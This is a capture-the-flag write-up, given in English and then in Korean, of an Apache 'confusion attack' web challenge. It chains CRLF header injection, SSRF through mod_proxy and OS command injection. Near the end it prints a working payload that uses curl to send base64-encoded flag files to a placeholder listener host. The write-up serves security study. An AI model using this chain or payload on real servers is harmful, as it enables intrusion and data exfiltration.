Cyber Apocalypse CTF 2025: Apache Confusion Attack

Cyber Apocalypse CTF 2025: Apache Confusion Attack

in

Overview

In this post, let’s get into a fascinating web challenge from the Cyber Apocalypse CTF 2025. This one involved exploiting a vulnerability in Apache configuration related to content type handling, often referred to as an Apache Confusion Attack.

Initial Reconnaissance

First, we took a look at the apache2.conf file and noticed something interesting:

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

It seems there’s a specific endpoint, /cgi-bin/attack-ip, that’s only accessible from localhost (127.0.0.1 or ::1). This hints at a potential Server-Side Request Forgery (SSRF) vulnerability, as we need to make the server itself request this internal endpoint.

We also found two CGI scripts: /cgi-bin/attack-domain and /cgi-bin/attack-ip. Comparing the code, /cgi-bin/attack-domain seemed to have less strict filtering, making it a more likely entry point for our exploit chain.

/cgi-bin/attack-domain (Python):

#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    # Checks if the target looks like a domain name
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')

elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') # Pings the target domain
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    # If target is not a domain, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

/cgi-bin/attack-ip (Python):

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address # Uses ipaddress library for validation

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    # Validates if target is an IP address before pinging
    # Crucially, this uses ip_address() which is strict
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    # If target is not a valid IP, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

The attack-ip script strictly validates the target as an IP address using ipaddress.ip_address(), while attack-domain uses a looser regex check (is_domain()). This difference is the key to the vulnerability.

We initially thought about bypassing the IP check using X-Forwarded-For headers or similar tricks, but the Apache <Location> directive operates at the connection level, making these HTTP header tricks ineffective for bypassing the localhost restriction.

Discovering the Apache Confusion Vulnerability

Further research, including insights from Orange Tsai’s work on Confusion Attacks, pointed towards a specific vulnerability related to Apache’s AddType directive versus AddHandler.

AddType application/x-httpd-php .php
# If AddHandler were used instead, this might be prevented:
# AddHandler application/x-httpd-php .php

When AddType is used, Apache might determine the request handler based on the Content-Type after processing headers. This opens the door for manipulation if we can inject headers, for instance, through a CRLF (Carriage Return Line Feed) injection vulnerability in the CGI script’s response.

If a script generates headers based on user input (like a Location header) and doesn’t sanitize \r\n characters, we could inject a fake Content-Type header.

Imagine a vulnerable script:

print "Location: $user_input\\n"; # Potential CRLF injection point
print "Content-Type: text/html\\n\\n";

Sending input like http://example.com%0d%0aContent-Type:%20proxy:http://internal-service could lead to response headers like:

Location: http://example.com
Content-Type: proxy:http://internal-service  <-- Injected!
Content-Type: text/html                     <-- Original

Apache might then mistakenly use the injected Content-Type (proxy:http://internal-service) and invoke mod_proxy instead of the intended PHP handler (application/x-httpd-php).

Crafting the Exploit

Our target script, /cgi-bin/attack-domain, takes name and target parameters. It’s vulnerable because cgi.FieldStorage() in Python can process parameters containing CRLF characters, which then get reflected in the Location header if the is_domain() check fails.

The plan:

  1. Trigger CRLF Injection & Content-Type Confusion: Send a POST request to /cgi-bin/attack-domain.
    • Inject a Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?... header via the name parameter.
    • Provide a target value that fails the is_domain() check (e.g., notadomain) to ensure the error Location header (containing our injected name) is generated.
  2. Bypass Access Control (SSRF): The injected Content-Type: proxy:... header tricks Apache into using mod_proxy. Apache then internally forwards the request (including parameters specified in the proxy URL) to http://127.0.0.1/cgi-bin/attack-ip. This bypasses the <Location> restriction that prevented direct access.
  3. Command Injection: The parameters included in the injected proxy: URL (e.g., ?name=pwned&target=...) are passed to the /cgi-bin/attack-ip script. We can inject OS commands into the target parameter of this internal request. Since attack-ip uses ip_address(), we need a payload that is recognized as a valid IP address but also contains our command. Payloads like 0::1;command or 0::1||command work beautifully because 0::1 is the IPv6 localhost address, and the ; or || allows subsequent command execution.

Here’s how the conceptual exploit flow looks:

User -> POST /cgi-bin/attack-domain (name=INJECTED_HEADER&target=notadomain)
  -> attack-domain script fails is_domain(), generates Location header with injected Content-Type
  -> Apache sees "Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND"
  -> Apache uses mod_proxy to send internal request: GET /cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND
  -> attack-ip script receives target="0::1;COMMAND"
  -> ip_address("0::1;COMMAND") -> Fails (or extracts "0::1" depending on library leniency, but the command still gets passed to os.popen)
  -> os.popen("ping -c 1 0::1;COMMAND") -> Command Injection!

(Note: The exact behavior of ip_address() with appended commands might vary, but the core idea is that the command string reaches os.popen)

Challenges and Payload Construction

Putting this into practice involved overcoming a few hurdles:

  • CRLF Encoding: Correctly encoding \r\n as %0D%0A within the application/x-www-form-urlencoded POST body was essential.
  • Command Injection Payload: The payload needed to be valid for ip_address() and execute our command. 0::1;... worked well. We also needed to handle shell metacharacters (spaces, slashes) often using techniques like ${IFS} or command substitution ($(pwd|cut -c 1) to get /). Data exfiltration typically required curl or similar tools pointing to an external listener.
  • Apache/CGI Nuances: Understanding precisely how cgi.FieldStorage, Apache header parsing, and mod_proxy interact with the injected headers was key.

Final Payload Example

A working payload sent via POST to /cgi-bin/attack-domain might look like this (URL encoded):

target=notadomain&name=test%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwner%26target=0::1%3Bcurl%20https://YOUR_LISTENER_URL%3Ff=$(cat%20/flag*|base64)%0d%0a%0d%0a

Breakdown:

  • target=notadomain: Ensures the initial is_domain() check fails.
  • name=test%0d%0a...: Initiates the CRLF injection.
  • Content-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?...: The injected header causing the confusion and SSRF via mod_proxy.
  • ?name=pwner%26target=...: Parameters for the internal request to attack-ip.
  • 0::1%3Bcurl%20...: The command injection payload (0::1;curl https://YOUR_LISTENER_URL?f=$(cat /flag*|base64) URL-encoded). Remember to replace YOUR_LISTENER_URL.
  • %0d%0a%0d%0a: Necessary CRLF termination.

This complex chain allowed bypassing the access controls and achieving remote code execution by confusing Apache’s content handling mechanism. A truly fun challenge!

개요

이번 글에서는 Cyber Apocalypse CTF 2025의 꽤 흥미진진한 웹 문제를 하나 파헤쳐 보겠습니다. 콘텐츠 타입 처리와 관련된 Apache 설정의 허점을 파고드는 문제인데, 흔히 Apache Confusion Attack이라고 부르죠.

초기 정찰

먼저 apache2.conf 파일을 열어 봤더니, 눈길을 끄는 부분이 있었습니다.

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

/cgi-bin/attack-ip라는 엔드포인트가 localhost(127.0.0.1 또는 ::1)에서만 접근 가능하게 막혀 있네요. 딱 봐도 서버 측 요청 위조(SSRF) 냄새가 납니다. 결국 서버 스스로가 이 내부 엔드포인트를 두드리게 만들어야 한다는 뜻이니까요.

CGI 스크립트도 두 개 찾았는데요. /cgi-bin/attack-domain과 /cgi-bin/attack-ip입니다. 두 코드를 나란히 놓고 비교해 보니 /cgi-bin/attack-domain 쪽 필터링이 더 헐거워서, 익스플로잇 체인의 진입점으로는 이쪽이 더 유력해 보였습니다.

/cgi-bin/attack-domain (Python):

#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    # Checks if the target looks like a domain name
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')

elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') # Pings the target domain
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    # If target is not a domain, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

/cgi-bin/attack-ip (Python):

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address # Uses ipaddress library for validation

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    # Validates if target is an IP address before pinging
    # Crucially, this uses ip_address() which is strict
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    # If target is not a valid IP, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

attack-ip 스크립트는 ipaddress.ip_address()로 target을 IP 주소로 빡빡하게 검증하는 반면, attack-domain은 훨씬 느슨한 정규식 검사(is_domain())를 씁니다. 바로 이 차이가 취약점의 열쇠였죠.

처음엔 X-Forwarded-For 헤더 같은 트릭으로 IP 검사를 우회해 볼까 했는데요. Apache의 <Location> 지시자는 연결(connection) 수준에서 동작하는 터라, 이런 HTTP 헤더 장난으로는 localhost 제한을 넘을 수 없었습니다.

Apache Confusion 취약점 발견

Orange Tsai의 Confusion Attacks 연구까지 뒤져 가며 더 파 본 결과, Apache의 AddType 지시자와 AddHandler의 차이에서 비롯되는 취약점에 다다르게 됐습니다.

AddType application/x-httpd-php .php
# If AddHandler were used instead, this might be prevented:
# AddHandler application/x-httpd-php .php

AddType을 쓰면 Apache가 헤더를 처리한 뒤에 Content-Type을 보고 요청 핸들러를 정할 수 있습니다. 그러니 만약 CGI 스크립트 응답의 CRLF(Carriage Return Line Feed) 인젝션 취약점으로 헤더를 끼워 넣을 수 있다면, 조작의 여지가 활짝 열리는 거죠.

스크립트가 사용자 입력을 그대로 헤더(예: Location 헤더)에 넣으면서 \r\n 문자를 정제하지 않는다면, 가짜 Content-Type 헤더를 주입할 수 있습니다.

취약한 스크립트를 하나 떠올려 볼게요.

print "Location: $user_input\\n"; # Potential CRLF injection point
print "Content-Type: text/html\\n\\n";

여기에 http://example.com%0d%0aContent-Type:%20proxy:http://internal-service 같은 입력을 넣으면, 응답 헤더가 이렇게 변할 수 있습니다.

Location: http://example.com
Content-Type: proxy:http://internal-service  <-- Injected!
Content-Type: text/html                     <-- Original

그러면 Apache는 주입된 Content-Type(proxy:http://internal-service)을 덥석 물어서, 원래 불려야 할 PHP 핸들러(application/x-httpd-php) 대신 mod_proxy를 호출해 버릴 수 있습니다.

익스플로잇 구성

대상 스크립트 /cgi-bin/attack-domain은 name과 target 파라미터를 받습니다. Python의 cgi.FieldStorage()가 CRLF 문자가 섞인 파라미터도 그대로 처리하고, is_domain() 검사가 실패하면 그 값이 Location 헤더에 고스란히 반영되기 때문에 취약하죠.

작전은 이렇습니다.

  1. CRLF 인젝션 & Content-Type Confusion 유발: /cgi-bin/attack-domain에 POST 요청을 보낸다.
    • name 파라미터를 통해 Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?... 헤더를 주입한다.
    • is_domain() 검사에 실패하는 target 값(예: notadomain)을 제공해, (주입된 name을 담은) 오류 Location 헤더가 생성되도록 한다.
  2. 접근 제어 우회 (SSRF): 주입된 Content-Type: proxy:... 헤더가 Apache를 속여 mod_proxy를 쓰게 만든다. 그러면 Apache가 (proxy URL에 지정한 파라미터까지 얹어) 요청을 내부적으로 http://127.0.0.1/cgi-bin/attack-ip로 넘겨 준다. 이로써 직접 접근을 막던 <Location> 제한이 그냥 무력화된다.
  3. 명령 인젝션: 주입한 proxy: URL에 담긴 파라미터(예: ?name=pwned&target=...)가 /cgi-bin/attack-ip 스크립트로 전달된다. 이 내부 요청의 target 파라미터에 OS 명령을 심을 수 있다. attack-ip는 ip_address()를 쓰니, 유효한 IP 주소로 인식되면서도 우리 명령까지 품은 페이로드가 필요하다. 0::1;command나 0::1||command 같은 페이로드가 기가 막히게 잘 통하는데, 0::1이 IPv6 localhost 주소인 데다 ;나 ||가 뒤이은 명령 실행을 허용하기 때문이다.

전체 익스플로잇 흐름을 개념적으로 그려 보면 이렇습니다.

User -> POST /cgi-bin/attack-domain (name=INJECTED_HEADER&target=notadomain)
  -> attack-domain script fails is_domain(), generates Location header with injected Content-Type
  -> Apache sees "Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND"
  -> Apache uses mod_proxy to send internal request: GET /cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND
  -> attack-ip script receives target="0::1;COMMAND"
  -> ip_address("0::1;COMMAND") -> Fails (or extracts "0::1" depending on library leniency, but the command still gets passed to os.popen)
  -> os.popen("ping -c 1 0::1;COMMAND") -> Command Injection!

(참고: 명령이 덧붙었을 때 ip_address()의 정확한 동작은 상황마다 다를 수 있지만, 중요한 건 명령 문자열이 결국 os.popen까지 도달한다는 점입니다.)

난관과 페이로드 구성

이걸 실제로 구현하려니 몇 가지 고비를 넘어야 했습니다.

  • CRLF 인코딩: application/x-www-form-urlencoded POST 본문 안에서 \r\n을 %0D%0A로 정확히 인코딩하는 게 필수였습니다.
  • 명령 인젝션 페이로드: 페이로드는 ip_address()에 유효하면서 동시에 우리 명령을 실행해야 했습니다. 0::1;...이 딱 맞았죠. 여기에 셸 메타문자(공백, 슬래시)도 처리해야 했는데, 보통 ${IFS}나 명령 치환(/를 얻으려는 $(pwd|cut -c 1)) 같은 기법을 동원했습니다. 데이터를 빼내는 데는 대개 외부 리스너를 가리키는 curl 같은 도구가 필요했고요.
  • Apache/CGI의 미묘함: cgi.FieldStorage, Apache 헤더 파싱, mod_proxy가 주입된 헤더와 정확히 어떻게 맞물려 도는지 이해하는 게 관건이었습니다.

최종 페이로드 예시

/cgi-bin/attack-domain에 POST로 날리는 실제 동작 페이로드는 (URL 인코딩된 형태로) 대략 이렇게 생겼습니다.

target=notadomain&name=test%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwner%26target=0::1%3Bcurl%20https://YOUR_LISTENER_URL%3Ff=$(cat%20/flag*|base64)%0d%0a%0d%0a

분석:

  • target=notadomain: 초기 is_domain() 검사가 실패하도록 보장.
  • name=test%0d%0a...: CRLF 인젝션을 시작.
  • Content-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?...: confusion과 mod_proxy를 통한 SSRF를 유발하는 주입 헤더.
  • ?name=pwner%26target=...: attack-ip로 가는 내부 요청의 파라미터.
  • 0::1%3Bcurl%20...: 명령 인젝션 페이로드(0::1;curl https://YOUR_LISTENER_URL?f=$(cat /flag*|base64)의 URL 인코딩). YOUR_LISTENER_URL은 교체할 것.
  • %0d%0a%0d%0a: 필요한 CRLF 종료.

이 정교한 체인 덕분에 Apache의 콘텐츠 처리 메커니즘을 헷갈리게 만들어, 접근 제어를 우회하고 끝내 원격 코드 실행까지 따낼 수 있었습니다. 오랜만에 정말 재미있게 푼 문제였어요!